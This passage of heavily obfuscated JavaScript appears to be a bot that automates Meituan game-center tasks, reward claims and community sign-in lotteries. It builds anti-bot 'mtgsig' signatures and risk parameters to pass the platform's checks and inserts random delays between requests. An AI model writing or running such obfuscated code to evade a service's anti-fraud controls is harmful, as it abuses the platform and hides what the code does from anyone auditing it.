_0x52c50f=_0xca01cf?.[_0x1cc1d7(0xc63)]||_0xca01cf?.[_0x1cc1d7(0x1038)+'\x67\x65']||'';this[_0x1cc1d7(0x3e5)](_0x1cc1d7(0x7db)+_0x1cc1d7(0x27ce)+_0x361247+_0x1cc1d7(0x985)+_0x52c50f);}}catch(_0x22ffc2){console[_0x1cc1d7(0x3e5)](_0x22ffc2);}finally{return _0x3f829e;}}async[_0xcdce93(0x1458)+'\x75\x65\x72\x79\x4d'+_0xcdce93(0x1b6c)+_0xcdce93(0x3316)](_0x539e91={}){const _0x1a7b48=_0xcdce93,_0xaf0271={};_0xaf0271[_0x1a7b48(0x618)]=_0x1a7b48(0x1f64),_0xaf0271['\x47\x45\x69\x6e\x47']='\x68\x74\x74\x70\x73'+_0x1a7b48(0x2e2a)+'\x6d\x65\x2e\x6d\x65'+_0x1a7b48(0x187f)+'\x2e\x63\x6f\x6d\x2f'+_0x1a7b48(0x266)+'\x61\x6d\x65\x63\x65'+_0x1a7b48(0x2b6f)+_0x1a7b48(0x2a57)+_0x1a7b48(0x228d)+_0x1a7b48(0x4f1)+_0x1a7b48(0x2c42)+_0x1a7b48(0x2061)+'\x2f\x71\x75\x65\x72'+_0x1a7b48(0xc80)+'\x61\x73\x6b\x49\x6e'+'\x66\x6f',_0xaf0271['\x79\x55\x56\x77\x61']='\x78\x74\x62\x5f\x71'+'\x75\x65\x72\x79\x4d'+_0x1a7b48(0x1b6c)+_0x1a7b48(0x3316),_0xaf0271[_0x1a7b48(0x2d65)]=_0x1a7b48(0x2272),_0xaf0271[_0x1a7b48(0x6aa)]='\x63\x6f\x64\x65',_0xaf0271[_0x1a7b48(0x2683)]=function(_0x4938f0,_0x5e52d8){return _0x4938f0>_0x5e52d8;},_0xaf0271[_0x1a7b48(0xb31)]=function(_0x1e6b97,_0x1059e0){return _0x1e6b97+_0x1059e0;},_0xaf0271[_0x1a7b48(0x17b0)]=function(_0x57da08,_0x5236c0){return _0x57da08*_0x5236c0;};const _0xc3e8bc=_0xaf0271;try{const _0x210679={};_0x210679[_0x1a7b48(0x267c)+_0x1a7b48(0x1508)]='\x68\x35',_0x210679[_0x1a7b48(0x2be6)+_0x1a7b48(0x1662)+'\x72\x6d']=0x4,_0x210679[_0x1a7b48(0x1d3)+_0x1a7b48(0x137a)+'\x6e']=_0xc3e8bc[_0x1a7b48(0x618)];let _0x648624=_0x210679,_0x19985e=_0xc3e8bc[_0x1a7b48(0x273)],_0x3c86a5=new URL(_0x19985e);for(let _0x2ac1fd in _0x648624){_0x3c86a5[_0x1a7b48(0x22e2)+_0x1a7b48(0x554)+'\x6d\x73']['\x61\x70\x70\x65\x6e'+'\x64'](_0x2ac1fd,_0x648624[_0x2ac1fd]);}_0x3c86a5=_0x3c86a5['\x74\x6f\x53\x74\x72'+_0x1a7b48(0x765)]();let _0x319838={'\x65\x78\x74\x65\x72\x6e\x61\x6c\x53\x74\x72':'','\x72\x69\x73\x6b\x50\x61\x72\x61\x6d\x73':await this[_0x1a7b48(0xaed)+_0x1a7b48(0x48c)+_0x1a7b48(0x12e8)]()},{headers:_0x23de18}=this[_0x1a7b48(0x2749)+'\x74\x67\x73\x69\x67'](_0x3c86a5,_0x319838),_0x3aa01=_0x23de18?.[_0x1a7b48(0x1787)+'\x67'];const _0x4df60d={..._0x648624};_0x4df60d[_0x1a7b48(0x1787)+'\x67']=_0x3aa01;const _0x329c16={};_0x329c16['\x66\x6e']=_0xc3e8bc['\x79\x55\x56\x77\x61'],_0x329c16[_0x1a7b48(0x12a3)+'\x64']=_0xc3e8bc[_0x1a7b48(0x2d65)],_0x329c16['\x75\x72\x6c']=_0x3c86a5,_0x329c16[_0x1a7b48(0x22e2)+'\x68\x50\x61\x72\x61'+'\x6d\x73']=_0x4df60d,_0x329c16[_0x1a7b48(0xd59)]=_0x319838;let _0x1b193a=_0x329c16,{statusCode:_0x2d045f,result:_0x75bc3c}=await this[_0x1a7b48(0x734)+'\x73\x74'](_0x18d7a9[_0x1a7b48(0xfb2)](_0x1b193a)),_0x4f2ded=_0x18d7a9[_0x1a7b48(0x33ab)](_0x75bc3c,_0xc3e8bc[_0x1a7b48(0x6aa)],_0x2d045f);if(_0x4f2ded==-0x133+0x15ad+-0x147a){let _0x44e04c=_0x75bc3c?.[_0x1a7b48(0x1277)]?.['\x74\x61\x73\x6b\x4c'+_0x1a7b48(0x2ce3)]||[];!_0x44e04c?.[_0x1a7b48(0x326b)+'\x68']&&this['\x6c\x6f\x67']('\u6b64\u8d26\u53f7\u6ca1\u6709'+_0x1a7b48(0x681)+_0x1a7b48(0x69f)+'\u53f7');for(let _0x2f2e3e of _0x44e04c){if(_0x893a8d[_0x1a7b48(0x13b6)+_0x1a7b48(0xf9b)](_0x2f2e3e['\x69\x64']))continue;let _0x117496=_0x2f2e3e?.[_0x1a7b48(0x173)+_0x1a7b48(0x3aa)+'\x65\x49\x6e\x66\x6f']?.[_0x1a7b48(0x2558)+_0x1a7b48(0x1bb9)];if(_0xc3e8bc[_0x1a7b48(0x2683)](_0x117496,0x2e4+-0x845*-0x3+-0x1b4f))continue;let _0x1c9113=![];switch(_0x2f2e3e[_0x1a7b48(0x3103)+'\x73']){case 0x1*0x829+-0x781+-0xa6*0x1:{_0x1c9113=await this[_0x1a7b48(0x9c7)+_0x1a7b48(0xcd4)+_0x1a7b48(0x264)+'\x63\x65\x69\x76\x65'+_0x1a7b48(0x19a4)+'\x64'](_0x2f2e3e);break;}case-0x256a*-0x1+0x3e*-0x15+-0x2051:{_0x1c9113=await this['\x78\x74\x62\x5f\x72'+_0x1a7b48(0x28e0)+_0x1a7b48(0x810)+_0x1a7b48(0x3257)+_0x1a7b48(0x27c4)](_0x2f2e3e);break;}}if(_0x1c9113){let _0x6267bc=_0xc3e8bc[_0x1a7b48(0xb31)](Math[_0x1a7b48(0x27ea)](_0xc3e8bc['\x4e\x42\x67\x78\x43'](Math['\x72\x61\x6e\x64\x6f'+'\x6d'](),-0x2a+-0x25*0x97+0x21b5)),-0x13*0x1b4+-0x127e+0x3aaa);await _0x18d7a9[_0x1a7b48(0xb57)](_0x6267bc);}}}else{let _0x57f3e9=_0x75bc3c?.[_0x1a7b48(0xc63)]||_0x75bc3c?.['\x6d\x65\x73\x73\x61'+'\x67\x65']||'';this[_0x1a7b48(0x3e5)](_0x1a7b48(0x7db)+_0x1a7b48(0x2562)+_0x4f2ded+'\x5d\x3a\x20'+_0x57f3e9);}}catch(_0xb01e79){console['\x6c\x6f\x67'](_0xb01e79);}}async[_0xcdce93(0x9c7)+_0xcdce93(0xcd4)+'\x56\x32'](_0x334a90,_0x2ed615={}){const _0x5e7b58=_0xcdce93,_0x52cbca={'\x44\x46\x4d\x77\x58':'\x32\x2e\x33\x2e\x31','\x74\x64\x53\x69\x44':function(_0x46c7c0,_0x56a1a2){return _0x46c7c0(_0x56a1a2);},'\x44\x75\x5a\x75\x6b':_0x5e7b58(0x9c7)+_0x5e7b58(0xcd4)+'\x56\x32','\x44\x6d\x4b\x4b\x74':_0x5e7b58(0x33ab),'\x4d\x50\x64\x6f\x6a':'\x63\x6f\x64\x65','\x4d\x56\x5a\x71\x72':function(_0x2347ca,_0x32263c){return _0x2347ca==_0x32263c;}};try{let _0x4edd30=JSON[_0x5e7b58(0xd75)](_0x334a90?.['\x6d\x67\x63\x54\x61'+_0x5e7b58(0x3aa)+_0x5e7b58(0x2e33)]?.[_0x5e7b58(0x2789)+_0x5e7b58(0x317a)+_0x5e7b58(0xdb2)]),_0x3eb1a9={'\x79\x6f\x64\x61\x52\x65\x61\x64\x79':'\x68\x35','\x63\x73\x65\x63\x70\x6c\x61\x74\x66\x6f\x72\x6d':0x4,'\x63\x73\x65\x63\x76\x65\x72\x73\x69\x6f\x6e':_0x52cbca['\x44\x46\x4d\x77\x58'],'\x65\x78\x74\x65\x72\x6e\x61\x6c\x53\x74\x72':'','\x72\x69\x73\x6b\x50\x61\x72\x61\x6d\x73':'','\x6d\x67\x63\x49\x64':_0x5e7b58(0x953)+_0x5e7b58(0x2854)+_0x5e7b58(0x1b1f),'\x67\x61\x6d\x65\x69\x64':_0x4edd30?.[_0x5e7b58(0x2625)+'\x64'],'\x74\x61\x73\x6b\x54\x61\x67':_0x4edd30?.[_0x5e7b58(0x2731)+'\x61\x67'],'\x74\x61\x73\x6b\x49\x64':_0x52cbca[_0x5e7b58(0x17a2)](_0xacce97,_0x5e7b58(0x280f)+_0x5e7b58(0x8e8)+_0x5e7b58(0x321d)+_0x334a90['\x69\x64'])},_0x29aadd=_0x5e7b58(0x3558)+_0x5e7b58(0x2e2a)+'\x6d\x65\x2e\x6d\x65'+'\x69\x74\x75\x61\x6e'+'\x2e\x63\x6f\x6d\x2f'+_0x5e7b58(0x266)+_0x5e7b58(0x8e8)+_0x5e7b58(0x2b6f)+_0x5e7b58(0x357b)+_0x5e7b58(0xdeb)+_0x5e7b58(0x2541)+_0x5e7b58(0x287)+_0x5e7b58(0x3a1)+_0x5e7b58(0x26a2)+_0x5e7b58(0xc7d),_0x5d2727=new URL(_0x29aadd);for(let _0x540f09 in _0x3eb1a9){_0x5d2727['\x73\x65\x61\x72\x63'+_0x5e7b58(0x554)+'\x6d\x73'][_0x5e7b58(0x1fb0)+'\x64'](_0x540f09,_0x3eb1a9[_0x540f09]);}_0x5d2727=_0x5d2727[_0x5e7b58(0x1139)+'\x69\x6e\x67']();let _0x4c8e8c={},{headers:_0x161cf8}=this['\x67\x65\x74\x5f\x6d'+_0x5e7b58(0xdf8)](_0x5d2727,_0x4c8e8c),_0x197027=_0x161cf8?.[_0x5e7b58(0x1787)+'\x67'];const _0x483c69={..._0x3eb1a9};_0x483c69[_0x5e7b58(0x1787)+'\x67']=_0x197027;const _0x348a04={};_0x348a04['\x66\x6e']=_0x52cbca[_0x5e7b58(0x593)],_0x348a04[_0x5e7b58(0x12a3)+'\x64']=_0x52cbca[_0x5e7b58(0x233e)],_0x348a04[_0x5e7b58(0x9ed)]=_0x5d2727,_0x348a04[_0x5e7b58(0x22e2)+_0x5e7b58(0x554)+'\x6d\x73']=_0x483c69;let _0x2cd071=_0x348a04,{statusCode:_0x5aa607,result:_0xf52aba}=await this[_0x5e7b58(0x734)+'\x73\x74'](_0x18d7a9[_0x5e7b58(0xfb2)](_0x2cd071)),_0x4663d3=_0x18d7a9[_0x5e7b58(0x33ab)](_0xf52aba,_0x52cbca[_0x5e7b58(0x1c3f)],_0x5aa607);if(_0x52cbca[_0x5e7b58(0x3352)](_0x4663d3,-0x316*-0x1+0x51d+-0x833*0x1))this[_0x5e7b58(0x3e5)](_0x5e7b58(0x32c5)+_0x334a90['\x69\x64']+_0x5e7b58(0xf0e));else{let _0x8390fb=_0xf52aba?.[_0x5e7b58(0xc63)]||_0xf52aba?.[_0x5e7b58(0x1038)+'\x67\x65']||'';this['\x6c\x6f\x67'](_0x5e7b58(0x32c5)+_0x334a90['\x69\x64']+'\x5d\u5931\u8d25\x5b'+_0x4663d3+_0x5e7b58(0x985)+_0x8390fb);}}catch(_0x483584){console[_0x5e7b58(0x3e5)](_0x483584);}}async[_0xcdce93(0x689)+'\x65\x63\x65\x69\x76'+_0xcdce93(0x810)+_0xcdce93(0x3257)+_0xcdce93(0x27c4)](_0x38b96d,_0xc63553={}){const _0x13f6c6=_0xcdce93,_0x3c9e7c={};_0x3c9e7c[_0x13f6c6(0xeae)]=_0x13f6c6(0x3558)+_0x13f6c6(0x2e2a)+_0x13f6c6(0x2a44)+_0x13f6c6(0x187f)+'\x2e\x63\x6f\x6d\x2f'+_0x13f6c6(0x266)+_0x13f6c6(0x8e8)+_0x13f6c6(0x2b6f)+_0x13f6c6(0x2a57)+_0x13f6c6(0x228d)+_0x13f6c6(0x4f1)+_0x13f6c6(0x2c42)+_0x13f6c6(0x2061)+_0x13f6c6(0x195d)+_0x13f6c6(0x1627)+'\x63\x54\x61\x73\x6b'+'\x52\x65\x77\x61\x72'+'\x64',_0x3c9e7c[_0x13f6c6(0x2d44)]=_0x13f6c6(0x689)+_0x13f6c6(0x28e0)+_0x13f6c6(0x810)+'\x61\x73\x6b\x52\x65'+_0x13f6c6(0x27c4),_0x3c9e7c[_0x13f6c6(0x484)]=_0x13f6c6(0x1e07),_0x3c9e7c[_0x13f6c6(0x1fe2)]=function(_0x28f6df,_0x27a1cc){return _0x28f6df-_0x27a1cc;},_0x3c9e7c[_0x13f6c6(0xc62)]='\u72b6\u6001\u5f02\u5e38';const _0x1fcd60=_0x3c9e7c;let _0x267a60=![];try{const _0x3f1d6b={};_0x3f1d6b[_0x13f6c6(0x267c)+_0x13f6c6(0x1508)]='\x68\x35',_0x3f1d6b[_0x13f6c6(0x2be6)+'\x6c\x61\x74\x66\x6f'+'\x72\x6d']=0x4,_0x3f1d6b[_0x13f6c6(0x1d3)+_0x13f6c6(0x137a)+'\x6e']=_0x13f6c6(0x1f64);let _0x2e5deb=_0x3f1d6b,_0x79bd59=_0x1fcd60['\x44\x69\x6d\x63\x43'],_0x20d64f=new URL(_0x79bd59);for(let _0x271637 in _0x2e5deb){_0x20d64f[_0x13f6c6(0x22e2)+_0x13f6c6(0x554)+'\x6d\x73'][_0x13f6c6(0x1fb0)+'\x64'](_0x271637,_0x2e5deb[_0x271637]);}_0x20d64f=_0x20d64f[_0x13f6c6(0x1139)+_0x13f6c6(0x765)]();let _0x3d8994={'\x74\x61\x73\x6b\x49\x64':_0x38b96d['\x69\x64'],'\x65\x78\x74\x65\x72\x6e\x61\x6c\x53\x74\x72':'','\x72\x69\x73\x6b\x50\x61\x72\x61\x6d\x73':await this['\x67\x65\x74\x5f\x72'+_0x13f6c6(0x48c)+'\x72\x61\x6d\x73']()},{headers:_0x4f9a4e}=this[_0x13f6c6(0x2749)+'\x74\x67\x73\x69\x67'](_0x20d64f,_0x3d8994),_0x192330=_0x4f9a4e?.['\x6d\x74\x67\x73\x69'+'\x67'];const _0x4ecf6e={..._0x2e5deb};_0x4ecf6e['\x6d\x74\x67\x73\x69'+'\x67']=_0x192330;const _0x1235a8={};_0x1235a8['\x66\x6e']=_0x1fcd60[_0x13f6c6(0x2d44)],_0x1235a8[_0x13f6c6(0x12a3)+'\x64']=_0x13f6c6(0x2272),_0x1235a8[_0x13f6c6(0x9ed)]=_0x20d64f,_0x1235a8['\x6a\x73\x6f\x6e']=_0x3d8994,_0x1235a8['\x73\x65\x61\x72\x63'+_0x13f6c6(0x554)+'\x6d\x73']=_0x4ecf6e;let _0x124465=_0x1235a8,{statusCode:_0x57895a,result:_0x3380f}=await this[_0x13f6c6(0x734)+'\x73\x74'](_0x18d7a9[_0x13f6c6(0xfb2)](_0x124465)),_0x2a60e2=_0x18d7a9['\x67\x65\x74'](_0x3380f,_0x1fcd60[_0x13f6c6(0x484)],_0x57895a);if(_0x2a60e2==-0x1*0x19d3+0x16a9+0x2*0x195){_0x267a60=!![];let {succ:_0x440ee3,previous:_0x27e451,coin:_0x1aadef}=await this[_0x13f6c6(0x1458)+_0x13f6c6(0x161b)+'\x74\x62\x43\x6f\x75'+'\x6e\x74']();if(_0x440ee3){let _0x36a938=_0x1fcd60[_0x13f6c6(0x1fe2)](_0x1aadef,_0x27e451);this[_0x13f6c6(0x3e5)](_0x13f6c6(0x32c5)+_0x38b96d['\x69\x64']+_0x13f6c6(0x985)+_0x36a938+'\u5c0f\u56e2\u5e01');}else this[_0x13f6c6(0x3e5)](_0x13f6c6(0x32c5)+_0x38b96d['\x69\x64']+_0x13f6c6(0xf0e));}else{let _0x5e9ed1=_0x3380f?.['\x6d\x73\x67']||_0x3380f?.['\x6d\x65\x73\x73\x61'+'\x67\x65']||'';!_0x5e9ed1?.[_0x13f6c6(0x13b6)+'\x64\x65\x73'](_0x1fcd60[_0x13f6c6(0xc62)])&&this[_0x13f6c6(0x3e5)](_0x13f6c6(0x32c5)+_0x38b96d['\x69\x64']+_0x13f6c6(0x1935)+_0x2a60e2+'\x5d\x3a\x20'+_0x5e9ed1);}}catch(_0x466806){console[_0x13f6c6(0x3e5)](_0x466806);}finally{return _0x267a60;}}async[_0xcdce93(0x9c7)+_0xcdce93(0xcd4)+'\x41\x6e\x64\x52\x65'+_0xcdce93(0x472)+_0xcdce93(0x19a4)+'\x64'](_0xbe3834,_0x1e5436={}){const _0x2822f5=_0xcdce93,_0x5cd9af={'\x56\x73\x50\x66\x6d':function(_0x8e51c1,_0x457452){return _0x8e51c1(_0x457452);},'\x65\x43\x76\x73\x4f':_0x2822f5(0x9c7)+'\x69\x6e\x69\x73\x68'+'\x41\x6e\x64\x52\x65'+_0x2822f5(0x472)+_0x2822f5(0x19a4)+'\x64','\x5a\x77\x46\x41\x42':_0x2822f5(0x2272),'\x43\x47\x4a\x77\x61':_0x2822f5(0x1e07),'\x46\x67\x41\x78\x65':function(_0x3c43b1,_0x2548ae){return _0x3c43b1==_0x2548ae;},'\x45\x78\x77\x67\x73':function(_0x4f7648,_0x21c8cc){return _0x4f7648-_0x21c8cc;},'\x5a\x42\x5a\x41\x5a':_0x2822f5(0x354a)+'\u6210\u8fc7'};let _0x5f3aa0=![];try{const _0x303d61={};_0x303d61[_0x2822f5(0x267c)+_0x2822f5(0x1508)]='\x68\x35',_0x303d61[_0x2822f5(0x2be6)+_0x2822f5(0x1662)+'\x72\x6d']=0x4,_0x303d61[_0x2822f5(0x1d3)+'\x65\x72\x73\x69\x6f'+'\x6e']=_0x2822f5(0x1f64);let _0x37ce19=_0x303d61,_0x1c9ffe=_0x2822f5(0x3558)+_0x2822f5(0x2e2a)+_0x2822f5(0x2a44)+_0x2822f5(0x187f)+'\x2e\x63\x6f\x6d\x2f'+_0x2822f5(0x266)+_0x2822f5(0x8e8)+_0x2822f5(0x2b6f)+_0x2822f5(0x2a57)+'\x2f\x61\x70\x69\x2f'+'\x76\x31\x2f\x6d\x67'+_0x2822f5(0x2c42)+_0x2822f5(0x2061)+'\x2f\x66\x69\x6e\x69'+_0x2822f5(0x3248)+_0x2822f5(0x33fe)+'\x76\x65\x52\x65\x77'+'\x61\x72\x64',_0x4a2a=new URL(_0x1c9ffe);for(let _0x4b77a0 in _0x37ce19){_0x4a2a[_0x2822f5(0x22e2)+_0x2822f5(0x554)+'\x6d\x73'][_0x2822f5(0x1fb0)+'\x64'](_0x4b77a0,_0x37ce19[_0x4b77a0]);}_0x4a2a=_0x4a2a[_0x2822f5(0x1139)+_0x2822f5(0x765)]();let _0x45bd4e={'\x74\x61\x73\x6b\x49\x64':_0x5cd9af[_0x2822f5(0x1185)](_0xacce97,_0x2822f5(0x280f)+'\x61\x6d\x65\x63\x65'+'\x6e\x74\x65\x72'+_0xbe3834['\x69\x64']),'\x65\x78\x74\x65\x72\x6e\x61\x6c\x53\x74\x72':'','\x72\x69\x73\x6b\x50\x61\x72\x61\x6d\x73':await this[_0x2822f5(0xaed)+'\x69\x73\x6b\x50\x61'+_0x2822f5(0x12e8)]()},{headers:_0x536285}=this[_0x2822f5(0x2749)+_0x2822f5(0xdf8)](_0x4a2a,_0x45bd4e),_0x103cce=_0x536285?.[_0x2822f5(0x1787)+'\x67'];const _0x202579={..._0x37ce19};_0x202579[_0x2822f5(0x1787)+'\x67']=_0x103cce;const _0x21e6ea={};_0x21e6ea['\x66\x6e']=_0x5cd9af[_0x2822f5(0x2bf9)],_0x21e6ea[_0x2822f5(0x12a3)+'\x64']=_0x5cd9af[_0x2822f5(0x112d)],_0x21e6ea[_0x2822f5(0x9ed)]=_0x4a2a,_0x21e6ea[_0x2822f5(0xd59)]=_0x45bd4e,_0x21e6ea['\x73\x65\x61\x72\x63'+_0x2822f5(0x554)+'\x6d\x73']=_0x202579;let _0x50d4fa=_0x21e6ea,{statusCode:_0x543904,result:_0x460382}=await this['\x72\x65\x71\x75\x65'+'\x73\x74'](_0x18d7a9[_0x2822f5(0xfb2)](_0x50d4fa)),_0x10d882=_0x18d7a9[_0x2822f5(0x33ab)](_0x460382,_0x5cd9af[_0x2822f5(0x4f7)],_0x543904);if(_0x5cd9af[_0x2822f5(0x180)](_0x10d882,-0x2487*-0x1+-0x1*-0x264b+-0x4ad2)){_0x5f3aa0=!![];let {succ:_0x4054da,previous:_0x58f810,coin:_0x41cc9f}=await this['\x78\x74\x62\x5f\x71'+_0x2822f5(0x161b)+_0x2822f5(0x1680)+'\x6e\x74']();if(_0x4054da){let _0x2901fd=_0x5cd9af[_0x2822f5(0x2a5f)](_0x41cc9f,_0x58f810);this[_0x2822f5(0x3e5)](_0x2822f5(0x32c5)+_0xbe3834['\x69\x64']+_0x2822f5(0x985)+_0x2901fd+_0x2822f5(0x2d50));}else this[_0x2822f5(0x3e5)]('\u5b8c\u6210\u4efb\u52a1\x5b'+_0xbe3834['\x69\x64']+_0x2822f5(0xf0e));}else{let _0x1b0d8f=_0x460382?.[_0x2822f5(0xc63)]||_0x460382?.[_0x2822f5(0x1038)+'\x67\x65']||'';!_0x1b0d8f?.['\x69\x6e\x63\x6c\x75'+_0x2822f5(0xf9b)]('\u72b6\u6001\u5f02\u5e38')&&!_0x1b0d8f?.['\x69\x6e\x63\x6c\x75'+_0x2822f5(0xf9b)](_0x5cd9af[_0x2822f5(0x2e3a)])&&this[_0x2822f5(0x3e5)](_0x2822f5(0x32c5)+_0xbe3834['\x69\x64']+_0x2822f5(0x1935)+_0x10d882+_0x2822f5(0x985)+_0x1b0d8f);}}catch(_0xc2fed5){console['\x6c\x6f\x67'](_0xc2fed5);}finally{return _0x5f3aa0;}}async['\x73\x69\x67\x6e\x6c'+_0xcdce93(0x304e)+'\x79\x5f\x69\x6e\x66'+'\x6f'](_0x23c756,_0x4a6315={}){const _0x31a465=_0xcdce93,_0xbcde2f={};_0xbcde2f[_0x31a465(0x151e)]=_0x31a465(0x166f)+_0x31a465(0x304e)+'\x79\x5f\x69\x6e\x66'+'\x6f',_0xbcde2f[_0x31a465(0x1f7d)]=_0x31a465(0x33ab),_0xbcde2f['\x6d\x43\x77\x63\x42']=_0x31a465(0x1e07),_0xbcde2f[_0x31a465(0x3102)]=_0x31a465(0x887)+'\x64\x65',_0xbcde2f['\x52\x44\x43\x53\x4d']=function(_0x5e8490,_0x4cada2){return _0x5e8490==_0x4cada2;},_0xbcde2f[_0x31a465(0x2b84)]=function(_0x3277cf,_0x410db9){return _0x3277cf==_0x410db9;};const _0x1caf6c=_0xbcde2f;try{const _0x13b225={};_0x13b225[_0x31a465(0x26c5)+'\x69\x74\x79\x56\x69'+_0x31a465(0x131c)]=_0x23c756;const _0x4ec12a={};_0x4ec12a['\x66\x6e']=_0x1caf6c['\x49\x6c\x73\x64\x6e'],_0x4ec12a['\x6d\x65\x74\x68\x6f'+'\x64']=_0x1caf6c[_0x31a465(0x1f7d)],_0x4ec12a[_0x31a465(0x9ed)]=_0x31a465(0x3558)+_0x31a465(0x1f10)+_0x31a465(0x239a)+_0x31a465(0xa48)+_0x31a465(0x26e9)+_0x31a465(0x339c)+_0x31a465(0x22b2)+'\x6d\x2f\x70\x6c\x61'+_0x31a465(0x1a0a)+_0x31a465(0x30ee)+'\x67\x6e\x6c\x6f\x74'+_0x31a465(0xb9d)+_0x31a465(0x12b),_0x4ec12a[_0x31a465(0x22e2)+_0x31a465(0x554)+'\x6d\x73']=_0x13b225;let _0x425e9c=_0x4ec12a,{result:_0x4124a0}=await this[_0x31a465(0x734)+'\x73\x74'](_0x425e9c),_0xb82d65=_0x18d7a9[_0x31a465(0x33ab)](_0x4124a0,_0x1caf6c[_0x31a465(0x2f71)],-(-0x1a57+-0x670+-0x20c8*-0x1)),_0x484156=_0x18d7a9[_0x31a465(0x33ab)](_0x4124a0,_0x1caf6c['\x44\x68\x43\x45\x69'],-(0x5ee+0xfc3+-0x15b0));if(_0x1caf6c[_0x31a465(0x357a)](_0xb82d65,-0x3*-0xb9b+0x6*-0x361+-0xe8b)&&_0x1caf6c[_0x31a465(0x2b84)](_0x484156,0xdb2+0x112e+0x26*-0xd0))for(let _0x451bb2 of _0x4124a0?.[_0x31a465(0x1277)]?.[_0x31a465(0x3348)+_0x31a465(0x3dd)]||[]){switch(_0x451bb2[_0x31a465(0x3103)+_0x31a465(0x1777)]){case-0xa15*0x1+-0xd10+0x2*0xb93:{const _0xef8ba8={};_0xef8ba8[_0x31a465(0xe9c)]=_0x23c756,this[_0x31a465(0x3e5)]('\u793e\u7fa4\u672a\u7b7e\u5230',_0xef8ba8),await this['\x73\x69\x67\x6e\x6c'+_0x31a465(0x304e)+'\x79\x5f\x73\x69\x67'+_0x31a465(0x23b0)](_0x23c756);break;}case-0x18b1+0x1609+0x2aa:{const _0x3d9043={};_0x3d9043[_0x31a465(0xe9c)]=_0x23c756,this[_0x31a465(0x3e5)]('\u793e\u7fa4\u5df2\u7b7e\u5230',_0x3d9043);break;}}}else{let _0x377628=_0x4124a0?.[_0x31a465(0xc63)]||_0x4124a0?.[_0x31a465(0x1038)+'\x67\x65']||'';const _0x194391={};_0x194391[_0x31a465(0xe9c)]=_0x23c756,this[_0x31a465(0x3e5)]('\u67e5\u8be2\u793e\u7fa4\u7b7e'+'\u5230\u5931\u8d25\x5b'+_0xb82d65+_0x31a465(0x985)+_0x377628,_0x194391);}}catch(_0x2126b4){console[_0x31a465(0x3e5)](_0x2126b4);}}async['\x73\x69\x67\x6e\x6c'+_0xcdce93(0x304e)+_0xcdce93(0x750)+_0xcdce93(0x23b0)](_0x45a6ef,_0x36d554={}){const _0x4c4f03=_0xcdce93,_0x5acb37={};_0x5acb37[_0x4c4f03(0x229e)]=_0x4c4f03(0x166f)+'\x6f\x74\x74\x65\x72'+_0x4c4f03(0x750)+_0x4c4f03(0x23b0),_0x5acb37[_0x4c4f03(0x8f6)]=_0x4c4f03(0x2272),_0x5acb37[_0x4c4f03(0x2f04)]=_0x4c4f03(0x1e07),_0x5acb37[_0x4c4f03(0x10f0)]=_0x4c4f03(0x887)+'\x64\x65',_0x5acb37['\x4a\x4b\x43\x4b\x56']=function(_0x15ff68,_0x12ac85){return _0x15ff68==_0x12ac85;},_0x5acb37[_0x4c4f03(0x2236)]=_0x4c4f03(0x12c5)+_0x4c4f03(0x978),_0x5acb37[_0x4c4f03(0x2ceb)]=_0x4c4f03(0x3168);const _0x94ae7f=_0x5acb37;try{const _0x5e6bef={};_0x5e6bef[_0x4c4f03(0x26c5)+_0x4c4f03(0x1a1c)+'\x65\x77\x49\x64']=_0x45a6ef,_0x5e6bef['\x61\x63\x74\x75\x61'+_0x4c4f03(0xb2)]=_0x5d532f,_0x5e6bef[_0x4c4f03(0x2827)+'\x6c\x4c\x6e\x67']=_0x1c0016,_0x5e6bef[_0x4c4f03(0x1524)+_0x4c4f03(0x31b0)+_0x4c4f03(0x1ea)]='';const _0x7adfe1={};_0x7adfe1['\x66\x6e']=_0x94ae7f['\x54\x77\x55\x42\x41'],_0x7adfe1[_0x4c4f03(0x12a3)+'\x64']=_0x94ae7f['\x75\x70\x68\x64\x6c'],_0x7adfe1[_0x4c4f03(0x9ed)]='\x68\x74\x74\x70\x73'+_0x4c4f03(0x1f10)+_0x4c4f03(0x239a)+_0x4c4f03(0xa48)+_0x4c4f03(0x26e9)+_0x4c4f03(0x339c)+_0x4c4f03(0x22b2)+_0x4c4f03(0x2806)+_0x4c4f03(0x1a0a)+_0x4c4f03(0x30ee)+'\x67\x6e\x6c\x6f\x74'+'\x74\x65\x72\x79\x2f'+'\x73\x69\x67\x6e\x49'+'\x6e',_0x7adfe1[_0x4c4f03(0xd59)]=_0x5e6bef;let _0x29f848=_0x7adfe1,{result:_0x409123}=await this[_0x4c4f03(0x734)+'\x73\x74'](_0x29f848),_0x2f6edf=_0x18d7a9[_0x4c4f03(0x33ab)](_0x409123,_0x94ae7f[_0x4c4f03(0x2f04)],-(0x3*-0x1f0+0x14e2+-0xf11)),_0xdec750=_0x18d7a9['\x67\x65\x74'](_0x409123,_0x94ae7f[_0x4c4f03(0x10f0)],-(-0x695*-0x4+0x4d7+0x1f2a*-0x1));if(_0x94ae7f[_0x4c4f03(0x148)](_0x2f6edf,-0x104*0x8+-0x1cbd+0x1*0x24dd)&&_0x94ae7f[_0x4c4f03(0x148)](_0xdec750,-0x869*0x1+-0x1787+0x1ff0)){let {signCount:_0x531ca0,signInPrizeInfoList:_0x540b5f}=_0x409123?.[_0x4c4f03(0x1277)];const _0x5a43db={};_0x5a43db[_0x4c4f03(0xe9c)]=_0x45a6ef,this[_0x4c4f03(0x3e5)]('\u793e\u7fa4\u7b7e\u5230\u6210'+_0x4c4f03(0x25f1)+'\u5230'+_0x531ca0+'\u5929',_0x5a43db);let _0x43b555=_0x540b5f?.[_0x4c4f03(0x24c1)](_0x3c6583=>'\x5b'+_0x3c6583['\x72\x69\x67\x68\x74'+_0x4c4f03(0x1065)+_0x4c4f03(0x2cd6)+_0x4c4f03(0x3278)][_0x4c4f03(0x14a2)+_0x4c4f03(0x15bd)+'\x65']+'\x5d'+(_0x3c6583[_0x4c4f03(0x1acb)+_0x4c4f03(0x1065)+_0x4c4f03(0x2cd6)+_0x4c4f03(0x3278)][_0x4c4f03(0x172e)+_0x4c4f03(0x18c)]||_0x4c4f03(0x2ffa))+'\u51cf'+_0x3c6583[_0x4c4f03(0x1acb)+_0x4c4f03(0x1065)+_0x4c4f03(0x2cd6)+_0x4c4f03(0x3278)][_0x4c4f03(0x14a2)+_0x4c4f03(0x24d)+'\x65']);if(_0x43b555?.[_0x4c4f03(0x326b)+'\x68']){const _0x2f297c={};_0x2f297c[_0x4c4f03(0xe9c)]=_0x45a6ef,this[_0x4c4f03(0x1f61)+'\x79\x5f\x63\x6f\x75'+'\x70\x6f\x6e'](_0x43b555,'\u7b7e\u5230\u62bd\u5956',_0x2f297c);}}else{let 